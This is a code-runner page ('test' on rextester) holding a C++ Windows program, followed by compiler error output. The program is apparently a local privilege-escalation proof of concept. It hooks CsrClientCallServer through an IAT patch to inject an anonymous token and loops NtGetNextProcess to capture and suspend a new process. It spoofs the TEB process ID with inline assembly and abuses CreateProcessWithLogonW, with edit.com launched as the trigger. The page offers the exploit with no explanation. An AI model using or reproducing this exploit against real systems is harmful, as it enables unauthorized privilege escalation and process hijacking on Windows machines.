test, C++ (vc++) - rextester

test

Language: Layout:

extern "C" {
  NTSTATUS NTAPI NtGetNextProcess(
    HANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    ULONG HandleAttributes,
    ULONG Flags,
    PHANDLE NewProcessHandle);
 
  NTSTATUS NTAPI NtSuspendProcess(HANDLE ProcessHandle);
}
 
HANDLE g_hProcess = nullptr;
 
void SetProcessId(DWORD pid) {
  __asm {
    mov edx, [pid];
    mov eax, fs:[0x18]
    mov [eax+0x20], edx
  }
}
 
DWORD CALLBACK CaptureAndSuspendProcess(LPVOID)
{
  ImpersonateAnonymousToken(GetCurrentThread());
 
  while (NtGetNextProcess(nullptr, MAXIMUM_ALLOWED, 0, 0, &g_hProcess) != 0)
  {
  }
  NTSTATUS status = NtSuspendProcess(g_hProcess);
 
  printf("Suspended process: %08X %p %d\n", status, g_hProcess, GetProcessId(g_hProcess));
  RevertToSelf();
 
  SetProcessId(GetProcessId(g_hProcess));
   
  WCHAR cmdline[] = L"notepad.exe";
  STARTUPINFO startInfo = {};
  PROCESS_INFORMATION procInfo = {};
  startInfo.cb = sizeof(startInfo);
  if (CreateProcessWithLogonW(L"user", L"domain", L"password", LOGON_NETCREDENTIALS_ONLY,
    nullptr, cmdline, CREATE_SUSPENDED, nullptr, nullptr, &startInfo, &procInfo))
  {
    printf("Created process %d\n", procInfo.dwProcessId);
  }
  else
  {
    printf("Create error: %d\n", GetLastError());
  }
  TerminateProcess(g_hProcess, 0);
  ExitProcess(0);
 
  return 0;
}
 
HANDLE GetAnonymousToken()
{
  ImpersonateAnonymousToken(GetCurrentThread());
  HANDLE hToken;
  OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken);
  RevertToSelf();
   
  PSECURITY_DESCRIPTOR pSD;
  ULONG sd_length;
  if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;;GA;;;WD)(A;;GA;;;AN)", SDDL_REVISION_1, &pSD, &sd_length))
  {
    printf("Error converting SDDL: %d\n", GetLastError());
    exit(1);
  }
 
  TOKEN_DEFAULT_DACL dacl;
  BOOL bPresent;
  BOOL bDefaulted;
  PACL pDACL;
  GetSecurityDescriptorDacl(pSD, &bPresent, &pDACL, &bDefaulted);
  dacl.DefaultDacl = pDACL;
 
  if (!SetTokenInformation(hToken, TokenDefaultDacl, &dacl, sizeof(dacl)))
  {
    printf("Error setting default DACL: %d\n", GetLastError());
    exit(1);
  }
 
  return hToken;
}
 
#define PtrFromRva( base, rva ) ( ( ( PBYTE ) base ) + rva )
 
/*++
Routine Description:
Replace the function pointer in a module's IAT.
 
Parameters:
Module              - Module to use IAT from.
ImportedModuleName  - Name of imported DLL from which
function is imported.
ImportedProcName    - Name of imported function.
AlternateProc       - Function to be written to IAT.
OldProc             - Original function.
 
Return Value:
S_OK on success.
(any HRESULT) on failure.
--*/
HRESULT PatchIat(
  __in HMODULE Module,
  __in PSTR ImportedModuleName,
  __in PSTR ImportedProcName,
  __in PVOID AlternateProc,
  __out_opt PVOID *OldProc
  )
{
  PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Module;
  PIMAGE_NT_HEADERS NtHeader;
  PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;
  UINT Index;
 
  NtHeader = (PIMAGE_NT_HEADERS)
    PtrFromRva(DosHeader, DosHeader->e_lfanew);
  if (IMAGE_NT_SIGNATURE != NtHeader->Signature)
  {
    return HRESULT_FROM_WIN32(ERROR_BAD_EXE_FORMAT);
  }
 
  ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)
    PtrFromRva(DosHeader,
      NtHeader->OptionalHeader.DataDirectory
      [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
 
  //
  // Iterate over import descriptors/DLLs.
  //
  for (Index = 0;
  ImportDescriptor[Index].Characteristics != 0;
    Index++)
  {
    PSTR dllName = (PSTR)
      PtrFromRva(DosHeader, ImportDescriptor[Index].Name);
 
    if (0 == _strcmpi(dllName, ImportedModuleName))
    {
      //
      // This the DLL we are after.
      //
      PIMAGE_THUNK_DATA Thunk;
      PIMAGE_THUNK_DATA OrigThunk;
 
      if (!ImportDescriptor[Index].FirstThunk ||
        !ImportDescriptor[Index].OriginalFirstThunk)
      {
        return E_INVALIDARG;
      }
 
      Thunk = (PIMAGE_THUNK_DATA)
        PtrFromRva(DosHeader,
          ImportDescriptor[Index].FirstThunk);
      OrigThunk = (PIMAGE_THUNK_DATA)
        PtrFromRva(DosHeader,
          ImportDescriptor[Index].OriginalFirstThunk);
 
      for (; OrigThunk->u1.Function != NULL;
      OrigThunk++, Thunk++)
      {
        if (OrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
        {
          //
          // Ordinal import - we can handle named imports
          // ony, so skip it.
          //
          continue;
        }
 
        PIMAGE_IMPORT_BY_NAME import = (PIMAGE_IMPORT_BY_NAME)
          PtrFromRva(DosHeader, OrigThunk->u1.AddressOfData);
 
        if (0 == strcmp(ImportedProcName,
          (char*)import->Name))
        {
          //
          // Proc found, patch it.
          //
          DWORD junk;
          MEMORY_BASIC_INFORMATION thunkMemInfo;
 
          //
          // Make page writable.
          //
          VirtualQuery(
            Thunk,
            &thunkMemInfo,
            sizeof(MEMORY_BASIC_INFORMATION));
          if (!VirtualProtect(
            thunkMemInfo.BaseAddress,
            thunkMemInfo.RegionSize,
            PAGE_EXECUTE_READWRITE,
            &thunkMemInfo.Protect))
          {
            return HRESULT_FROM_WIN32(GetLastError());
          }
 
          //
          // Replace function pointers (non-atomically).
          //
          if (OldProc)
          {
            *OldProc = (PVOID)(DWORD_PTR)
              Thunk->u1.Function;
          }
#ifdef _WIN64
          Thunk->u1.Function = (ULONGLONG)(DWORD_PTR)
            AlternateProc;
#else
          Thunk->u1.Function = (DWORD)(DWORD_PTR)
            AlternateProc;
#endif
          //
          // Restore page protection.
          //
          if (!VirtualProtect(
            thunkMemInfo.BaseAddress,
            thunkMemInfo.RegionSize,
            thunkMemInfo.Protect,
            &junk))
          {
            return HRESULT_FROM_WIN32(GetLastError());
          }
 
          return S_OK;
        }
      }
 
      //
      // Import not found.
      //
      return HRESULT_FROM_WIN32(ERROR_PROC_NOT_FOUND);
    }
  }
 
  //
  // DLL not found.
  //
  return HRESULT_FROM_WIN32(ERROR_MOD_NOT_FOUND);
}
 
typedef void* (__stdcall *fCsrClientCallServer)(void* a, void* b, DWORD c, void* d);
 
fCsrClientCallServer g_pCsgClientCallServer;
 
void* __stdcall CsrClientCallServerHook(void* a, void* b, DWORD c, void* d)
{
  void* ret = nullptr;
  printf("In ClientCall hook %08X\n", c);
  if (c == 0x10010005)
  {
    printf("Set Anonymous Token: %d\n", SetThreadToken(nullptr, GetAnonymousToken()));
  }
 
  ret = g_pCsgClientCallServer(a, b, c, d);
  RevertToSelf();
  return ret;
}
 
int main(int argc, char** argv)
{
  BOOL is_wow64 = FALSE;
  if (IsWow64Process(GetCurrentProcess(), &is_wow64) && is_wow64)
  {
    printf("Error: This must be run on 32 bit Windows\n");
    return 1;
  }
  // Hook the call to CsrClientCallServer from kernel32 to apply the anonymous token.
  PVOID hook;
  HRESULT hr = PatchIat(GetModuleHandle(L"kernel32.dll"), "ntdll.dll", "CsrClientCallServer", CsrClientCallServerHook, &hook);
  if (FAILED(hr))
  {
    printf("Error patching IAT: %08X\n", hr);
    return 1;
  }
 
  g_pCsgClientCallServer = (fCsrClientCallServer)hook;
  printf("Patched client %p %p\n", hook, GetProcAddress(GetModuleHandle(L"ntdll.dll"), "CsrClientCallServer"));
 
  HANDLE hThread = CreateThread(nullptr, 0, CaptureAndSuspendProcess, nullptr, 0, nullptr);
  // Wait a little just to ensure capture loop is running.
  Sleep(1000);
 
  STARTUPINFO startInfo = {};
  startInfo.cb = sizeof(startInfo);
  PROCESS_INFORMATION procInfo = {};
  WCHAR cmdline[] = L"edit.com";
  // Create a 16bit executable, this will call into CSRSS which we've hooked.
  CreateProcess(nullptr, cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo);
 
  return 0;
}

Show compiler warnings [ + ] Compiler args [ + ] Show input
Compilation time: 1,22 sec, absolute service time: 1,26 sec

edit mode | history | discussion

Error(s):

source_file.cpp(2): error C4430: missing type specifier - int assumed. Note: C++ does not support default-int
source_file.cpp(2): error C2146: syntax error: missing ';' before identifier 'NTAPI'
source_file.cpp(9): error C4430: missing type specifier - int assumed. Note: C++ does not support default-int
source_file.cpp(9): error C2086: 'int NTSTATUS': redefinition
source_file.cpp(2): note: see declaration of 'NTSTATUS'
source_file.cpp(9): error C2146: syntax error: missing ';' before identifier 'NTAPI'
source_file.cpp(12): error C4430: missing type specifier - int assumed. Note: C++ does not support default-int
source_file.cpp(12): error C2146: syntax error: missing ';' before identifier 'g_hProcess'
source_file.cpp(14): error C2065: 'DWORD': undeclared identifier
source_file.cpp(14): error C2146: syntax error: missing ')' before identifier 'pid'
source_file.cpp(14): error C2143: syntax error: missing ';' before '{'
source_file.cpp(14): error C2447: '{': missing function header (old-style formal list?)
source_file.cpp(15): error C4235: nonstandard extension used: '__asm' keyword not supported on this architecture
source_file.cpp(22): error C4430: missing type specifier - int assumed. Note: C++ does not support default-int
source_file.cpp(22): error C2146: syntax error: missing ';' before identifier 'CALLBACK'
source_file.cpp(23): error C2143: syntax error: missing ';' before '{'
source_file.cpp(23): error C2447: '{': missing function header (old-style formal list?)
source_file.cpp(55): error C4430: missing type specifier - int assumed. Note: C++ does not support default-int
source_file.cpp(55): error C2086: 'int HANDLE': redefinition
source_file.cpp(12): note: see declaration of 'HANDLE'
source_file.cpp(55): error C2146: syntax error: missing ';' before identifier 'GetAnonymousToken'
source_file.cpp(56): error C2143: syntax error: missing ';' before '{'
source_file.cpp(56): error C2447: '{': missing function header (old-style formal list?)
source_file.cpp(104): error C4430: missing type specifier - int assumed. Note: C++ does not support default-int
source_file.cpp(104): error C2146: syntax error: missing ';' before identifier 'PatchIat'
source_file.cpp(111): error C2143: syntax error: missing ';' before '{'
source_file.cpp(111): error C2447: '{': missing function header (old-style formal list?)
source_file.cpp(244): error C2061: syntax error: identifier 'DWORD'
source_file.cpp(248): error C2061: syntax error: identifier 'DWORD'
source_file.cpp(251): error C2065: 'c': undeclared identifier
source_file.cpp(251): error C3861: 'printf': identifier not found
source_file.cpp(252): error C2065: 'c': undeclared identifier
source_file.cpp(254): error C3861: 'GetAnonymousToken': identifier not found
source_file.cpp(254): error C3861: 'SetThreadToken': identifier not found
source_file.cpp(254): error C3861: 'printf': identifier not found
source_file.cpp(257): error C2065: 'c': undeclared identifier
source_file.cpp(257): error C2065: 'd': undeclared identifier
source_file.cpp(258): error C3861: 'RevertToSelf': identifier not found
source_file.cpp(264): error C2065: 'BOOL': undeclared identifier
source_file.cpp(264): error C2146: syntax error: missing ';' before identifier 'is_wow64'
source_file.cpp(264): error C2065: 'is_wow64': undeclared identifier
source_file.cpp(264): error C2065: 'FALSE': undeclared identifier
source_file.cpp(265): error C3861: 'GetCurrentProcess': identifier not found
source_file.cpp(265): error C2065: 'is_wow64': undeclared identifier
source_file.cpp(265): error C3861: 'IsWow64Process': identifier not found
source_file.cpp(267): error C3861: 'printf': identifier not found
source_file.cpp(271): error C2065: 'PVOID': undeclared identifier
source_file.cpp(271): error C2146: syntax error: missing ';' before identifier 'hook'
source_file.cpp(271): error C2065: 'hook': undeclared identifier
source_file.cpp(272): error C2146: syntax error: missing ';' before identifier 'hr'
source_file.cpp(272): error C2065: 'hr': undeclared identifier
source_file.cpp(272): error C3861: 'GetModuleHandle': identifier not found
source_file.cpp(272): error C2065: 'hook': undeclared identifier
source_file.cpp(272): error C3861: 'PatchIat': identifier not found
source_file.cpp(273): error C2065: 'hr': undeclared identifier
source_file.cpp(273): error C3861: 'FAILED': identifier not found
source_file.cpp(275): error C2065: 'hr': undeclared identifier
source_file.cpp(275): error C3861: 'printf': identifier not found
source_file.cpp(279): error C2065: 'hook': undeclared identifier
source_file.cpp(280): error C2065: 'hook': undeclared identifier
source_file.cpp(280): error C3861: 'GetModuleHandle': identifier not found
source_file.cpp(280): error C3861: 'GetProcAddress': identifier not found
source_file.cpp(280): error C3861: 'printf': identifier not found
source_file.cpp(282): error C2146: syntax error: missing ';' before identifier 'hThread'
source_file.cpp(282): error C2065: 'hThread': undeclared identifier
source_file.cpp(282): error C2065: 'CaptureAndSuspendProcess': undeclared identifier
source_file.cpp(282): error C3861: 'CreateThread': identifier not found
source_file.cpp(284): error C3861: 'Sleep': identifier not found
source_file.cpp(286): error C2065: 'STARTUPINFO': undeclared identifier
source_file.cpp(286): error C2146: syntax error: missing ';' before identifier 'startInfo'
source_file.cpp(286): error C2065: 'startInfo': undeclared identifier
source_file.cpp(287): error C2065: 'startInfo': undeclared identifier
source_file.cpp(287): error C2228: left of '.cb' must have class/struct/union
source_file.cpp(287): note: type is 'unknown-type'
source_file.cpp(288): error C2065: 'PROCESS_INFORMATION': undeclared identifier
source_file.cpp(288): error C2146: syntax error: missing ';' before identifier 'procInfo'
source_file.cpp(288): error C2065: 'procInfo': undeclared identifier
source_file.cpp(289): error C2065: 'WCHAR': undeclared identifier
source_file.cpp(289): error C2146: syntax error: missing ';' before identifier 'cmdline'
source_file.cpp(289): error C2065: 'cmdline': undeclared identifier
source_file.cpp(289): error C2059: syntax error: ']'
source_file.cpp(291): error C2065: 'cmdline': undeclared identifier
source_file.cpp(291): error C2065: 'FALSE': undeclared identifier
source_file.cpp(291): error C2065: 'startInfo': undeclared identifier
source_file.cpp(291): error C2065: 'procInfo': undeclared identifier
source_file.cpp(291): error C3861: 'CreateProcess': identifier not found
Microsoft (R) C/C++ Optimizing Compiler Version 19.00.23506 for x64

λ

                                      .NET NoSQL database for rapid development